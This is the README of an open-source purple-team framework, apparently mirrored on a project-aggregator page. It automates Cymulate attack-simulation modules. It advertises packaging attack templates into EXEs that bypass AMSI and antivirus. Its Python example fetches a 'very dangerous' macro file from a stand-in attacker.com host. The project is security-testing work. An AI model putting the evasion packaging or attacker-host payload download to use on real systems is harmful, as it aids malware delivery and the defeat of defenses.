Git Product home page Git Product logo

cymulate-framework's Introduction

cymulate-framework

  • ⓘ Note: This project is still under development and not ready for production use.

  • ⚠ Warning: Do not run this project on production environment if you have no idea what you are doing.

Introduction

The framework to automate Cymulate's modules and templates for purple team.

What is Cymulate?

Cymualte is a BAS (Break and Attack Simulation) platform that provides a comprehensive set of attack simulations based on the MITRE ATT&CK® framework to test the effectiveness of your security controls.

This project is aimed to help Purple Team to:

  • Red part : Construct fully customizable and automated APT attacks easily.
  • Blue part : Test their security defenses against APT attacks easily.

Functionality

  • Scrape modules and templates from Cymulate and transform them into scripts.
  • Automate the execution of templates such as APT, Phishing, etc.
  • Generate standalone EXE for templates and bypass AMSI, Antivirus

Usage

Make sure python 3.11+ and poetry are installed:

git clone https://github.com/opabravo/cymulate-framework
cd cymulate-framework

# Install required python packages
poetry install

# Activate virtual environment
poetry shell

# Run default template (APT34)
python main.py

# Run desired execution module by id
python main.py <module_id>

# Ex:
python main.py 62385f03a0e69ed2274622cc

Batch Scripts:

  • client_start.bat - Reset and update to the latest version of the framework then run main.py

How it works

Cymulate's execution module have 5 main steps:

  1. Check dependency - Check if required dependencies are installed.
  2. Execution -Run the mitre ATT&CK technique execution.
  3. Success Indicate - Check if the attack was successful via parsing execution output or check exit code.
  4. Output Parsing - Parse the output of the execution for further uses.
  5. Cleanup - Clean up the execution environment.

The framework will automate the execution of the above steps.

Customization

We can pass self defined parameters to the execution module like this:

# Import windows module from core
from core.module.windows import WindowsModule

# Set your own input arguments
args = {
    "download_file_url": "https://attacker.com/very_dangerous_excel.xlsx",
    "download_file_path": "$env:userprofile\Downloads\Income.xlsm",
}
# Create a windows module instance
execution = WindowsModule("62385f03a0e69ed2274622cc", log_level="DEBUG", input_arguments=args)

# Execute the module after initialization
execution.run()

Development

Blueprint

  • Basic structure - The basic structure of the project.
  • APT template - APT template automation test.
  • Scrape modules and templates - Scrape modules and templates via Cymulate's API
  • Transform modules and templates - Transform modules and templates into cymulate-framework modules.
  • Automate execution - Automate the execution of templates.
  • APT Script generator - Generate scripts for APT template with extracted specific execution scripts (don't wanna load the 20+mb json file) and load corresponding required 3rd party pip packages into scripts
  • Pack Script to EXE - Pack generated template script with its requirements(pip packages, execution scripts) into EXE via pyinstaller, py2exe or Nuitka
  • ClI - A CLI to interact with the framework.

Notes

  • Using builtin dataclass + dacite for JSON deserialization model instead of pydantic since dacite is enough for the purpose.

Contributing

Feel free to submit pull requests and issues.

License

MIT

cymulate-framework's People

Contributors

opabravo avatar leowudy avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.